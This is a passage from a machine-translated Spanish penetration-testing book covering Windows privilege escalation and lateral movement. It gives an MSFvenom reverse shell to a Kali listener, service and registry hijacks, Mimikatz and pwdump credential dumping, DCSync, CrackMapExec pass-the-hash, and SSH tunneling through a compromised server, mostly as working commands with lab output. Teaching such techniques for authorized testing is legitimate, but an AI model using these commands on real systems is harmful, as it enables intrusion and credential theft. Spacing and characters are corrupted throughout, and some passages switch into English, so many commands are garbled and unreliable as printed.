ejecutable. Puede obtener una copia de PSExe en la siguiente ubicación: docs.microsoft.com/en-us/sysinternals/downloads/psexec La diferencia entre esta herramienta y runas.exe es que tendrá más opciones y flexibilidad con PS Exec. Un ejemplo sería si ya tiene un shell limitado en el host de Windows de destino. Aquí, encontró las credenciales de la cuenta de administrador (el nombre de usuario es admin y la contraseña es contraseña 123 ). En esta etapa, puede usar MSFvenom para generar un caparazón inverso y luego iniciar su escucha en Kalihost: $msfvenomÿpwindows/x64/shell_reverse_tcpLHOST=172.16.0.102LPORT=1111ÿ fexeÿoshell_reverse.exe Inicie el oyente usando netcat : $ncÿnlvp1111 Cuando volvamos a nuestro símbolo del sistema limitado de Windows, debemos transferir Canal de Telegram : @IRFaraExam Machine Translated by Google el archivo shell_reverse al host de Windows. Después de eso, podemos ejecutarlo con PSExecutility para obtener un shell raíz: C:\herramientas> PsExec64.exe/accepteulaÿiÿuadminÿppassword123C: \herramientas\shell_reverse.exe En esta etapa, debemos obtener un shell de administración en la sesión de escucha de Kali. Explotación de servicios en Windows Los servicios en el sistema Windows son como demonios en el sistema operativo Linux. Ejecutan tareas en segundo plano y, la mayoría de las veces, se ejecutan con privilegios de SISTEMA (lo que nos brinda otra forma de lograr un shell del sistema). Interactuar con los servicios de Windows Tendremos que interactuar con los servicios de Windows a través de la línea de comandos (ya que tenemos un shell limitado). Para hacer el trabajo, nos encontraremos con los siguientes comandos populares: #ToListtheconfigurationofaservice C: \>sc.exeqc[servicename] #Paraeditarlaconfiguracióndeunservicio C: \>sc.execonfig[nombre del servicio][configuración]=[nuevo valor] #ParaPararservicio C: \>sc.exestop[nombreservicio] #ParaIniciarunservicio C: \>sc.exestart[nombreservicio] #Obtenerelestadodeunservicio C: \>sc.exequery[nombre del servicio] Permisos de servicio mal configurados En este escenario, estamos buscando servicios con los permisos incorrectos. En otras palabras, queremos un servicio en el que nosotros (usuarios limitados) tengamos permiso para cambiar su configuración. Estas son las dos configuraciones comunes que deberían permitirnos anular un servicio (permitiéndonos obtener un shell remoto): SERVICIO_CAMBIO_CONFIG SERVICIO_TODO_ACCESO Por lo general, puede usar una herramienta automatizada para encontrar un servicio mal configurado. Más adelante en este capítulo, aprenderá acerca de algunas de las herramientas comunes, pero por el momento, concéntrese en el principio de su funcionalidad. Canal de Telegram : @IRFaraExam Machine Translated by Google Por ejemplo, la herramienta automatizada encontrada en un servicio configurado llamado miss_svc . En su símbolo del sistema, use la utilidad sc.exe para consultar su configuración: C:\Usuarios\LowPrivUser>sc qcmiss_svc [SC]QueryServiceConfigÉXITO NOMBRE_SERVICIO:miss_svc :10WIN32_PROPIO_PROCESO START_TYPE :3DEMAND_START ERROR_CONTROL:1NORMAL ESCRIBE BINARY_PATH_NAME:"C:\ProgramFiles\Services\test_service.exe" LOAD_ORDER_GROUP: ETIQUETA NOMBRE PARA MOSTRAR :0 :MissServicio DEPENDENCIAS: SERVICE_START_NAME:Sistema local Tenga en cuenta las dos configuraciones importantes en los resultados anteriores. La primera opción BINARY_PATH_NAME muestra la ruta al ejecutable del servicio. Más tarde, anularemos esta configuración para ingresar la ruta a nuestro shell inverso. , y su valor es revelar que este servicio se está ejecutando como Cuenta del sistema SERVICE_START_NAME . A continuación, inspeccionaremos los permisos de LowPrivUser para este servicio utilizando la utilidad accesschk.exe : C:\Users\LowPrivUser>accesschk.exe /accepteulaÿuwcqvLowPrivUsermiss_svc RWmiss_svc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP ¡Impresionante! De acuerdo con la salida anterior, tenemos el permiso para cambiar la configuración del servicio, y además de eso, podemos iniciarlo y detenerlo. Tenga en cuenta que es importante que podamos iniciar y detener el servicio o, de lo contrario, tenemos que esperar a que la máquina se reinicie para que nuestros cambios surtan efecto y obtener el shell inverso (es decir, si el servicio se inicia automáticamente; si es manual, entonces nuestros cambios no tendrán ningún efecto en absoluto). Ahora es el momento de cambiar la configuración del servicio para que apunte a nuestro shell inverso: Canal de Telegram : @IRFaraExam Machine Translated by Google C:\Users\LowPrivUser>scconfigmiss_svcbinpath="\"C: \Users\LowPrivUser\root_shell.exe\"" En esta etapa, puedo iniciar la escucha en mi host Kali. Luego podemos reiniciar el servicio para llamar a nuestro shell inverso (además, obtener un shell del sistema en nuestro host Kali): C:\Users\LowPrivUser>sc stopmiss_svc C:\Users\LowPrivUser>sc startmiss_svc Anulación del ejecutable del servicio En el ejemplo anterior, teníamos los permisos para cambiar la configuración del servicio. Supongamos que no tiene esos permisos ( SERVICE_CHANGE_CONFIG ), pero tiene el permiso para cambiar el ejecutable del servicio. En otras palabras, tiene el permiso de escritura para el propio archivo: C:\Archivos de programa\Servicios\test_service.exe Para verificar los permisos de un archivo, puede usar la utilidad access check.exe : C:\herramientas>accesschk.exe/accepteulaÿquvw"C: \ProgramFiles\Services\test_service.exe" Si ese es el caso (usted tiene los permisos de escritura), también necesita sobrescribir test_service.exe con su shell inverso (debe tener el mismo nombre). Después de copiar el ejecutable de shell inverso, entonces inicie su escucha en Kali y finalmente reinicie el servicio. Ruta de servicio sin comillas Antes de explotar esta falla, debe conocer algunos conceptos básicos de los ejecutables del sistema Windows. En Windows, puede ejecutar archivos .exe de dos maneras diferentes. La primera es usando el nombre completo del ejecutable, por ejemplo: C: \> programa.exe Además, algunos programas aceptarán argumentos adicionales: C:\>ping.exe10.0.0.1 La segunda forma de ejecutar programas es eliminando la extensión .exe si el programa está en la variable PATH de Windows: C:\>ping10.0.0.1 Canal de Telegram : @IRFaraExam Machine Translated by Google En este escenario de ejemplo, no tenemos permiso para cambiar la configuración (a diferencia del caso anterior). Por lo tanto, el objetivo es engañar a la ruta para ir al ejecutable del servicio en nuestro shell inverso. Suponiendo que el administrador guardó el servicio en la siguiente ruta: C:\Archivos de programa\AdminServices\svctest\service.exe el sistema operativo tratará la ruta anterior como cuatro cadenas diferentes debido a los caracteres de espacio: C:\Programa Archivos\Administrador Servicios\servicio prueba\servicio.exe Para este exploit, apuntaremos al servicio llamado usvc : C:\Users\LowPrivUser>scqcusvc [SC]QueryServiceConfigÉXITO NOMBRE_SERVICIO:usvc :10WIN32_PROPIO_PROCESO ESCRIBE START_TYPE ERROR_CONTROL :3DEMAND_START :1NORMAL BINARY_PATH_NAME:"C:\ProgramFiles\AdminServices\svc prueba\servicio.exe" […] A continuación, inspeccionaremos los permisos que tiene el usuario con privilegios bajos en este servicio en particular: C:\Usuarios\LowPrivUser>accesschk.exe /accepteulaÿuwcqvLowPrivUser usvc RWusvc SERVICIO_CONSULTA_ESTADO SERVICIO_QUERY_CONFIG SERVICIO_INTERROGAR SERVICIO_ENUMERAR_DEPENDIENTES SERVICIO_START SERVICIO_PARAR Como puede ver, no tenemos permiso para cambiar las opciones de este servicio, pero tenemos la opción de iniciarlo o detenerlo. Nuestro próximo objetivo es encontrar un directorio grabable para guardar un shell inverso en él. Canal de Telegram : @IRFaraExam Machine Translated by Google C:\herramientas>accesschk.exe/accepteulaÿuwdq"C:\ProgramFiles\AdminServices\" C:\ProgramFiles\AdminServices MediumMandatoryLevel(Predeterminado)[Sin escritura] RWBUILTIN\Usuarios RWNTSERVICE\TrustedInstaller RWNTAUTHORITY\SYSTEM RWBUILTIN\Administradores Todo lo que tenemos que hacer en esta etapa es realizar los siguientes pasos: 1. Copie el shell inverso en la carpeta C:\ProgramFiles\AdminServices\ y llámelo svc.exe porque queremos aprovechar la variable de ruta Services\svc . 2. Comience a escuchar Kali. 3.Reinicieelservicio. 4.Getasystemshell. Permisos de registro débiles A veces, el servicio en sí está bien protegido y muestra que no tiene acceso para cambiar sus configuraciones. El truco es buscar en otras partes, en las entradas del registro del sistema operativo Windows. Tenga en cuenta que el registro de Windows es la base de datos de las configuraciones del sistema Windows (por ejemplo, aplicaciones y servicios). Para este ejemplo, la herramienta automatizada que estamos usando es WinPEAS (obtendrá más información al respecto más adelante en este capítulo). La herramienta encontró que la siguiente entrada de registro es vulnerable: HKLM\Sistema\CurrentControlSet\Servicios\reg_svc A continuación, inspeccionaremos los permisos mediante la herramienta habitual accesscheck.exe : C:\herramientas>accesschk.exe/accepteulaÿ uvwqkHKLM\System\CurrentControlSet\Services\reg_svc […] RWNTAUTHORITY\INTERACTIVO CLAVE_TODO_ACCESO El grupo integrado NTAUTHORITY\INTERACTIVE tiene permisos de lectura y escritura. Este grupo incluye a todos los usuarios que iniciaron sesión en el host físico (es por eso que el Canal de Telegram : @IRFaraExam Machine Translated by Google La herramienta WinPEAS detectó la falla). Ahora que estamos listos para los permisos, inspeccionemos la entrada de registro de esta ruta: C:\herramientas>consulta de registroHKLM \System\CurrentControlSet\Services\reg_svc […] FilePathREG_EXPAND_SZ"C:\Archivos de programa\Servicios\registryservice.exe" DisplayNameREG_SZRegistryService ObjectNameREG_SZLocalSystem En esta etapa, todo lo que tenemos que hacer es anular el servicio de registro. exe mediante un shell inverso : C:\> regaddHKLM\SYSTEM\CurrentControlSet\services\reg_svc/v FilePath/ tREG_EXPAND_SZ/dC:\reverse_shell.exe/f Estamos prácticamente listos para comenzar; los pasos restantes son los siguientes: 1. Inicie la escucha en Kali. 2. Reinicie el servicio mediante la línea de comandos. 3.Getasystemshell. Explotación de las tareas programadas En el capítulo anterior, vio cómo aprovechar los trabajos cron. En el sistema Windows, el cron se llama Tareas programadas. Las tareas pueden ser programadas para que las ejecute el propio usuario (por ejemplo, el administrador), y los usuarios con privilegios elevados también pueden ejecutar tareas para otros usuarios. En general, para aprovechar esta debilidad, deberá seguir estos pasos: 1. Busque manualmente un script sospechoso (probablemente sea un script de PowerShell). 2. Verifique el contenido (probablemente el contenido muestre que es una tarea programada en la sección de comentarios). 3. Verifique sus permisos para ver si puede sobrescribirlo usando el utilidad accesscheck.exe . 4. En caso afirmativo, sobrescriba el contenido con un caparazón inverso. WindowsPrivEscHerramientas automatizadas Canal de Telegram : @IRFaraExam Machine Translated by Google Hay muchas herramientas automatizadas para el sistema de destino de Windows. Cada una tiene sus propias ventajas y desventajas. Ahora que comprende cómo funciona la escalada de privilegios en Windows, echemos un vistazo al conjunto de herramientas de automatización más popular. Encender El script PowerUp.ps1 es una utilidad que pertenece al kit de herramientas de PowerSploit. Este script de PowerShell analizará e identificará cualquier configuración que falte en el sistema Windows. Para descargar el script, puede obtenerlo de GitHub: github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 Antes de ejecutar el script, debe comprender alguna información básica acerca de cómo ejecutar los scripts de PowerShell. Para ejecutar el código de PowerShell, deberá usar PowerShell, ¿verdad? ¿Qué sucede si tiene un shell limitado que usa un símbolo del sistema? En el símbolo del sistema, puede anteponer la palabra clave powershell antes de ejecutar el código . C:\>powershellC:\herramientas\prueba.ps1 Además, tenga en cuenta que tendrá que cambiar la política de ejecución en PowerShell a Sin restricciones antes de ejecutar el script de PowerUp . De manera predeterminada, Microsoft habilita esta función para proteger a los usuarios de los scripts maliciosos de PowerShell: C: \> powershellSet-ExecutionPolicy-ScopeCurrentUserExecutionPolicyUnrestricted-Force Ahora podemos comenzar a ejecutar el script PowerUp . Primero, vamos a cargarlo usando el siguiente comando: C:\herramientas>powershell..\PowerUp.ps1 Luego, para ejecutarlo, cargue la función Invoke-AllChecks : C:\herramientas>powershellInvoke-AllChecks WinPEAS Escalada de privilegios de WindowsAwesomeScriptesunagranherramientaparalaescaladadeprivilegiosdeWindows. github.com/carlospolop/privilege-escalation-awesome-scripts Canal de Telegram : @IRFaraExam Machine Translated by Google suite/árbol/maestro/winPEAS Tenga en cuenta que ya tiene una versión compilada ( archivo .exe ). Para descargar el archivo .exe de 64 bits , use el siguiente enlace: github.com/carlospolop/privilege-escalation-awesome-scripts suite/tree/master/ winPEAS/winPEASexe/winPEAS/bin/x64/Release A continuación, antes de ejecutar la herramienta WinPEAS, puede agregar una entrada de registro usando su línea de comando para agregar colores a la salida de WinPEAS: C:\>regaddHKCU\Console/vVirtualTerminalLevel/tREG_DWORD/d1 Después de ejecutar el comando de entrada de registro anterior, debe cerrar la sesión de Windows y volver a abrir un nuevo símbolo del sistema. En esta etapa, está listo para ejecutarlo. En el siguiente paso, informará a la herramienta para ejecutar todas las comprobaciones rápidamente y al mismo tiempo: C:\>winpeas.exequietcmdfast Resumen Este fue un capítulo largo y complicado. No se dé por vencido si le resultó difícil entenderlo; simplemente siga intentándolo una y otra vez. El aprendizaje se trata de practicar los conceptos básicos repetidamente . Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 12 PivotaciónyMovimientoLateral Una práctica común en el movimiento lateral es buscar contraseñas almacenadas y hashes después de establecer acceso remoto al host de la víctima. El acceso remoto puede ser un shell limitado, una sesión de escritorio remoto o, mejor aún, un shell de raíz/administrador. Dicho esto, si está conectado con un usuario con pocos privilegios, entonces su probabilidad de éxito será muy baja. ¿Por qué ? Los profesionales en el campo usan los términos pivote y movimiento lateral indistintamente. En este capítulo, usaremos los dos términos para hablar sobre el mismo principio. En este capítulo, obtendrá información sobre los siguientes temas para que pueda pasar de un host a otro con facilidad: Descripción de los hashes de contraseña de Windows DumpingWindowspasswordhashes Aprender sobre pasar el hachís Conceptos de reenvío de puertos Reenvío de puerto local Reenvío de puerto remoto Reenvío dinámico de puertos DumpingWindowsHashes En esta sección, aprenderá a extraer contraseñas hash de un host de Windows. Canal de Telegram : @IRFaraExam Machine Translated by Google problemas técnicos (por lo que usarán sus credenciales en el host donde desean ejecutar su trabajo). Además, tenga en cuenta que las personas tienden a reutilizar sus contraseñas para diferentes tipos de cuentas. PROPINA El capítulo 1, “Dominio de la ventana de terminal”, ya cubrió cómo un sistema Linux almacena contraseñas. Recuerde que la ubicación de las contraseñas hash de Linux es /etc/shadow. WindowsNTLMHashes Las versiones anteriores de los sistemas operativos Windows se usaban para almacenar contraseñas en formato de hash de LAN Manager (LM). Los hashes de LM eran fáciles de descifrar debido a los siguientes criterios principales: Una contraseña está limitada a un máximo de 14 caracteres. Una contraseña no distingue entre mayúsculas y minúsculas. Si una contraseña tiene 14 caracteres, se fragmenta en dos fragmentos de siete caracteres, lo que facilita su descifrado porque puede atacar cada uno por separado. Si una contraseña tiene menos de siete caracteres, solo los primeros siete caracteres se codificarán y la otra cadena de caracteres se establecerá en un valor constante 0xAAD3B435B51404EE. Tenga cuidado con el historial de hash de credenciales de Windows. De hecho, los hashes de LM se utilizaron en lo siguiente: WindowsNT3.1 WindowsNT3.5 WindowsNT3.51 WindowsNT4 Windows95 Canal de Telegram : @IRFaraExam Machine Translated by Google Windows98 Windows2000 Windows Me Por lo tanto, el LM ya no se usa en los sistemas operativos modernos. A partir de Windows Vista y Windows Server 2008, Microsoft deshabilitó el LM hash de forma predeterminada. Pero la función se puede habilitar para cuentas locales y cuentas de Active Directory a través de una configuración de política de seguridad. En la actualidad, el sistema operativo Windows utiliza NTLanManager (NTLM) v2. Verá el aspecto de este hash en la siguiente sección, pero sepa que es una mejora de LM y NTLMv1. Este hash se introdujo en Windows NT4 SP4 y es compatible de forma nativa con los sistemas Windows. Extraer los hash (volcar el hash) Descifrar los hash o reutilizarlos (pasar el hash) Archivo SAMFy volcado de hash El archivo Security Account Manager (SAM) es donde el sistema Windows almacenará los hashes de cuenta. Este archivo está ubicado en %SystemRoot%/system32/config/SAM y está montado en HKLM/SAM. Desafortunadamente, no tiene acceso de lectura a este archivo (incluso si es administrador). Por suerte para los hackers, tenemos herramientas para extraer (volcar) esos hashes. Pwdump es una gran herramienta para hacer el trabajo. Para descargar la versión 8 de Pwdump, vaya a la siguiente ubicación (la última versión compatible con Windows 10): http://blackmath.it/pub/pwdump/pwdump8.exe C:\Usuarios\admin\Documentos>pwdump8.exe PwDumpv8.2-dumpswindowspasswordhashes-byFulvioZanetti&AndreaPetralia@http:// www.blackMath.it Administrador:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C Invitado:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 Canal de Telegram : @IRFaraExam Machine Translated by Google Cuenta predeterminada: 503: AAD3B435B51404EEAAD3B435B51404EE: 31D6CFE0D16AE931B73C59D7E0 administrador:1001:AAD3B435B51404EEAAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634 De acuerdo con la salida anterior, el formato de cada cuenta es el siguiente: [nombre de usuario]:[ID de usuario]:[AAD3B435…404EE]:[NTLMHashValue] Hay dos lecciones esenciales para comprender este formato de archivo ( SAM ) . usando el hash Después de extraer el hash, tendrá dos opciones: Úselo para iniciar sesión en otros sistemas Windows (pasar el hash) Crackear el hash para obtener la contraseña de texto claro (mi opción efectiva favorita) En las próximas secciones (sobre la reutilización de contraseñas y hashes), aprenderá a utilizar el hash extraído para iniciar sesión de forma remota en otro host de Windows. Mimikatz Mimikatz es una navaja suiza que puede extraer lo siguiente de la memoria: Windows ha perdido las contraseñas. contraseñas de texto sin formato. Kerberostickets. Este ticket lo utilizan principalmente los sistemas Windows para el inicio de sesión único. El SSO permite a un usuario utilizar sus credenciales de dominio en otros sistemas sin volver a introducir su contraseña. Puede obtener Mimikatz de dos maneras. Puede descargarlo del repositorio de GitHub desde github.com/gentilkiwi/ mimikatz o puede copiar Mimikatz del sistema de archivos KaliLinux al sistema operativo Windows. Los archivos binarios se encuentran en las siguientes rutas (versiones de 32 y 64 bits): /usr/share/windowsÿresources/mimikatz/Win32/mimikatz.exe Canal de Telegram : @IRFaraExam Machine Translated by Google /usr/share/windowsÿresources/mimikatz/x64/mimikatz.exe Después de copiar la versión de 64 bits del host Windows 10 de Mimikatztomy, abra el símbolo del sistema en modo administrador. A continuación, ejecutaré Mimikatz al invocarlo: C:\Usuarios\admin\Documentos>mimikatz.exe #####.mimikatz2.2.0 (x64)#19041May19202000: 48: 59 ##^##. "ALaVie, AL'Amour"-(oe.eo) ##/\##/***BenjaminDELPY`gentilkiwi`([email protected]) ##\/##>http://blog.gentilkiwi.com/mimikatz '##v##'VincentLETOUX([email protected]) '#####'>http://pingcastle.com/http://mysmartlogon.com***/ Ahora que Mimikatz está cargado, puede comprobar si sus privilegios le permitirán usted puede volcar los hashes ejecutando el privilegio:: comando de depuración : mimikatz#privilegio :: depuración Privilegio'20'OK La palabra OK significa que estamos listos para continuar con la extracción. A continuación, ejecutemos el comando sekurlsa::logonPasswordsfull : mimikatz#sekurlsa :: logonPasswordsfull ID de autenticación Sesión :0;1297963(00000000:0013ce2b) :Interactivodesde1 Nombre de usuario :administración Dominio :WINDOWS10LAB02 :WINDOWS10LAB02 :10/8/20204:58:22AM :S-1-5-21-1416285162-3336877196- Servidor de inicio de sesión Hora de inicio de sesión SID673110829-1001 msv: [00000003]primario * Nombre de usuario: administrador *Dominio:WINDOWS10LAB02 * NTLM:209c6174da490caeb422f3fa5a7ae634 * SHA1:7c87541fd3f3ef5016e12d411900c87a6046a8e8 [00010000]Claves de credenciales * NTLM:209c6174da490caeb422f3fa5a7ae634 * SHA1:7c87541fd3f3ef5016e12d411900c87a6046a8e8 cucharadita: resumen: * Nombre de usuario: administrador Canal de Telegram : @IRFaraExam Machine Translated by Google *Dominio:WINDOWS10LAB02 *Contraseña:(null) kerberos: * Nombre de usuario: administrador *Dominio:WINDOWS10LAB02 *Contraseña:(null) […] DumpingActiveDirectoryHashes En una organización típica, las personas usan su cuenta de Active Directory para iniciar sesión en su host. Usan la misma cuenta para iniciar sesión en otros sistemas (por ejemplo, sitio de intranet, unidades compartidas, CRM, etc.), y esto se denomina inicio de sesión único ( SSO) . El mismo concepto se aplica a este archivo. No podrá . tiene que volcarleerlo, los usuarios y sus contraseñas hash. Para hacer el trabajo , usemos Mimikatz nuevamente. mimikatz#lsadump::dcsync/domain:kcorp.local/all/csv [DC]'kcorp.local'willbethedomain [DC]'AD-Server.KCorp.local'willbetheDCserver [DC]Exportingdomain'kcorp.local' 502krbtgt500Administrator770110686894194cf353a12f79d8f62510660LAB4$ bae1d71f7002fb3ae9cc3fe6864b3f1c514 e8ea5203b1731110043a546965fc8bab4128 1107WINDOWS10LAB02$c052ace3d5f8e7caed30333c4ab6fb334128 1001ADSERVER$1109elliot 1b48fd53a201df94ef837c66284bde77532480 9f3ddc3df594df2978f57b65f9a53b5266048 Tenga en cuenta que puede ejecutar este comando Mimikatz en cualquier host unido al dominio con privilegios administrativos (no necesita estar físicamente en el servidor DC). Reutilización de contraseñas y hashes ¿Qué pasaría si alguien le dijera que existe una herramienta que escanea toda la red y prueba las credenciales (contraseñas de texto claro y contraseñas cifradas) en cada máquina? Asombroso, ¿verdad? Esta herramienta se llama CrackMapExec, ¡y automatiza esta tarea como un campeón ! . Canal de Telegram : @IRFaraExam Machine Translated by Google Primero, analicemos la red en busca de hosts en vivo que admitan SMBusing CrackMapExec. Tenga en cuenta que esta herramienta está preinstalada en KaliLinux: root@kali:~#crackmapexecsmb172.16.0.0/24 SMB172.16.0.2445AD-SERVER[*]Windows10.0Build17763x64(nombre:AD-SERVER) (dominio:KCORP)(firma:Verdadero)(SMBv1:Falso) SMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(nombre:WINDOWS10LAB02) (dominio:KCORP)(firma:falso)(SMBv1:verdadero) SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB) (dominio:KCORP)(firma:falso)(SMBv1:falso) PROPINA Para escanear hosts Linux, debe usar la opción de escaneo de servicios SSH. raíz@kali:~#crackmapexecssh172.16.0.0/24 SSH172.16.0.107222.0172.16.0.107 OpenSSH_8.2p1Ubuntu-4ubuntu0.1 [*] SSH La herramienta ha encontrado tres hosts de Windows. A continuación, probaremos las cuentas locales en cada host con nombre de usuario = admin y contraseña = admin : root@kali:~#crackmaexecsmb172.16.0.0/24-uadmin-padmin-autorización local SMB172.16.0.2445AD[*]Windows10.0Build17763 SERVERx64(nombre:AD-SERVER)(dominio:AD-SERVER)(firma:Verdadero) (SMBv1: falso) SMB172.16.0.2445AD[-]AD-SERVIDOR\admin:admin SERVERSTATUS_LOGON_FAILURESMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(no (SMBv1: Verdadero) SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB) (dominio:WINDOWS10LAB)(firma:falso) (SMBv1: falso) SMB172.16.0.106445WINDOWS10LAB02[+]WINDOWS10LAB02\admin:adminSMB172.16.0.104445WINDOW De acuerdo con los resultados de salida, el puede ver que las credenciales funcionaron en el host172.16.0.106. Además, puede usar el mismo concepto si pudiera descargue los hashes y obtenga una contraseña de texto sin cifrar (si pudo descifrarlo). en el capítulo siguiente, verá cómo descifrar hashes NTLM volcados. Canal de Telegram : @IRFaraExam Machine Translated by Google pasa el hash Pasar el hash (PTH) es simplemente usar el valor hash en lugar del texto claro contraseña para iniciar sesión en el host remoto. Seleccionaremos a elliot de la salida de Mimikatz cuando usamos la edición para volcar las cuentas del servidor DC. usaremosCrackMapExecasbien: root@kali:~#crackmapexecsmb172.16.0.0/24-williotH'9f3ddc3df594df2978f57b65f9a53b52' SMB172.16.0.2445AD-SERVER[*]Windows10.0Build17763x64(nombre:AD-SERVER) (dominio:KCORP)(firma:Verdadero)(SMBv1:Falso) [+]KCORP\elliotSMB172.16.0.2445ADSERVER9f3ddc3df594df2978f57b65f9a53b52(Pwn3d!) SMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(nombre:WINDOWS10LAB02) (dominio:KCORP)(firma:falso)(SMBv1:verdadero) SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB) (dominio:KCORP)(firma:Falso) (SMBv1: falso) SMB172.16.0.106445WINDOWS10LAB02[+]KCORP\elliot9f3ddc3df594df2978f57b65f9a53b52SMB172.16. ¡Mire esto! La cuenta de elliot se probó con éxito (cuando el signo más aparece) en tres hosts de Windows. PROPINA CrackMapExec puede usarse para otros fines y no solo para credenciales de automatización de fuerza bruta. Aquí hay algunas facciones que puede ejecutar con esta herramienta: Enumerateshares Enumerateactivesessions Enumerar usuarios registrados Usuarios de dominio enumerados Enumeratelocal/domaingroups Y mucho más Canal de Telegram : @IRFaraExam Machine Translated by Google Rotación con redirección de puertos Este puede ser un concepto confuso para los principiantes en el campo, pero como es habitual, esta sección intentará simplificarlo para que pueda usarlo en su extremo. (La mejor manera de entender esta sección es practicarlo; no solo leerlo). Conceptos de reenvío de puertos Reenvío de puerto local Reenvío de puerto remoto Reenvío dinámico de puertos Conceptos de reenvío de puertos El reenvío de puertos (o redirección) es simplemente redirigir la comunicación de red debido a una restricción de firewall. Elliot, un empleado de ECorp, quiere conectarse a su servidor FTP en ftp.fsociety.com, pero los firewalls de ECorp restringen las conexiones salientes a través del puerto 21 (el puerto predeterminado de FTP). Por otro lado, ECorp permite la comunicación saliente en los puertos 80 y 443 (HTTP/HTTPS) . que redirige las comunicaciones del puerto 80 al 21 y las envía al servidor de destino FTP. Inteligente, ¿verdad? La figura 12.1 muestra cómo se ve visualmente. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 12.1 Reenvío de puertos En este escenario, tenemos las siguientes direcciones IP públicas (las direcciones IP son falsas; son solo por el bien de este ejemplo): ElliotECorpIP: 1.1.1.1 redirección.fsociety.com: 2.2.2.2 ftp.fsociety.com: 3.3.3.3 Elliot ya ha instalado rinetd en LinuxVM (redirect.fsociety.com) usando el comando aptinstall : $aptinstallrinetd Una vez instalada la aplicación rinetd , deberá configurarla para redirigir la conexión de red . . Una vez que se abre el archivo, Elliot debe seguir las BindAddress|BindPort|ConnectAddress|ConnectPort Por lo tanto, hará los siguientes cambios: 1.1.1.1803.3.3.321 La dirección de enlace es la dirección IP de donde proviene la conexión y la dirección de conexión es el destino del servidor FTP. Para aplicar los resultados, Elliot guardará el archivo y reiniciará el servicio mediante el siguiente comando: $servicerinetdrestart En esta etapa, Elliot usará el siguiente comando ftp para evitar el firewall (Ellio está usando una máquina virtual KaliLinux en su computadora portátil): $ftp2.2.2.2:80 Túnel de SSHT y reenvío de puerto local En el ejemplo anterior, vio los conceptos básicos del reenvío de puertos. Canal de Telegram : @IRFaraExam Machine Translated by Google realice una redirección de puerto local mediante SSH. Para seguir el ejemplo anterior, esto es lo que parece en cada lado: ElliotECorp: PublicIP1.1.1.1 Elliot usará el comando de cliente SSH (para el reenvío de puerto local) antes de intentar usar la conexión FTP. redirección.fsociety.com (puerta): IP pública2.2.2.2 El servidor SSH estará atento a las conexiones entrantes. ftp.fsociety.com (servidor FTP): PublicIP3.3.3.3 Servidor FTP instalado para FSociety En el paso 1, Elliot necesita ejecutar un servidor SSH en su VM de puerta de enlace (redirect.fsociety.com). En el paso 2, Elliot ejecutará el cliente SSH en su Kali VM (dentro de ECorp) para escuchar localmente en el puerto 4444 y enviar el tráfico al SSH servidor: root@kali:~#ssh-L4444:3.3.3.3:212.2.2.2 Para el paso final, Elliot puede conectarse a su servidor FTP mediante el escucha del puerto del host local : raíz@kali:~#ftp127.0.0.1:4444 Si ECorp no permite la conexión SSH (puerto 22) en sus reglas de firewall salientes, entonces Elliot debe hacer un truco. Primero, debe cambiar el puerto de escucha SSH en redirect.fsociety.com (2.2.2.2) andassignittotheappropriatecustomport number.Let'sassumethattheECorpfirewallallowsonlyoutgoingports80and 443andblocksport22.Inthiscase, Elliothastochangetherouterport forwardingon2.2.2.2toroutetrafficfromport80toport22.Thisisgenerally accomplishedintherouteradminpanel.Eachroutershouldhavetheport forwardingfunctionality.Second, hemustusethefollowingcommandonhis KaliLinuxVM (1.1.1.1): raíz@kali:~#ssh-p80-L4444:3.3.3.3:212.2.2.2 Canal de Telegram : @IRFaraExam Machine Translated by Google Reenvío de puertos remotos mediante SSH Let'stakethechallengealittlebitfurtherandtrytocompleteanothertaskusing portforwarding.Elliot, duringhispentestsatECorp, gotalimitedshelltothe productionserver.Next, herealizedthatthisserverhasMySQLlisteningatport 3306.ElliottriedtousehisrestrictedshelltoconnecttotheMySQLserver, pero hisshelldidn'tallowhimto.Thebestwaytotacklethischallengeisbyusingthe remoteportforwardingtechniquetoexposetheMySQLportandbeingableto accessitremotely. (Ver Figure12.2). Figura 12.2 Diagrama de red ECorp ElliotKaliVM: Dirección IP: 172.16.1.55 ServidorProdExplotado ( prod1.ecorp.local ) Dirección IP: 10.10.1.114 Puertos abiertos: 22 (SSH), 443 (TLS) En el primer paso, Elliot tiene que ejecutar el servidor SSH en su máquina virtual Kali. Luego, usando su shell limitado, ejecutará el siguiente comando para exponer el puerto MySQL (Elliot puede usar la opción ÿp para especificar un puerto personalizado en caso de que el firewall PROD Canal de Telegram : @IRFaraExam Machine Translated by Google está bloqueando la conexión): $ssh-R443:127.0.0.1:[email protected] Ahora que se completó el túnel, Elliot puede conectarse desde su Kali VM directamente al servidor explotado (10.10.1.114). Tenga en cuenta que Elliot ya obtuvo las credenciales (durante sus pruebas de penetración) para conectarse a este servidor MySQL. Elliot eligió cuidadosamente el puerto 443 ya que el servidor comprometido está permitiendo conexiones entrantes a él: root@kali:~#mysql--usuario=raíz--contraseña--host=127.0.0.1-- puerto=443 DynamicPortForwarding Nowit'stimeforthebestpartofthischapter.Inthisscenario, Elliothasalready compromisedaserverintheproductionzone (ejemplo accordingtotheprevious) .Indynamicportforwarding, Elliotwillbeabletotunnelhistrafficand zone.Inotherwords usethecompromisedserverasaproxygatewaytoscanthewholeproduction, althoughElliotdoesnothavedirectnetworkaccesstothe wholeproductionzone, byusingthecompromisedserver (prod1.ecorp.local), hewillbeabletogetthejobdoneusingdynamicportforwarding. Reenvío dinámico de puertos con SSH Por lo tanto, de acuerdo con nuestro ejemplo anterior, Elliot tiene un shell 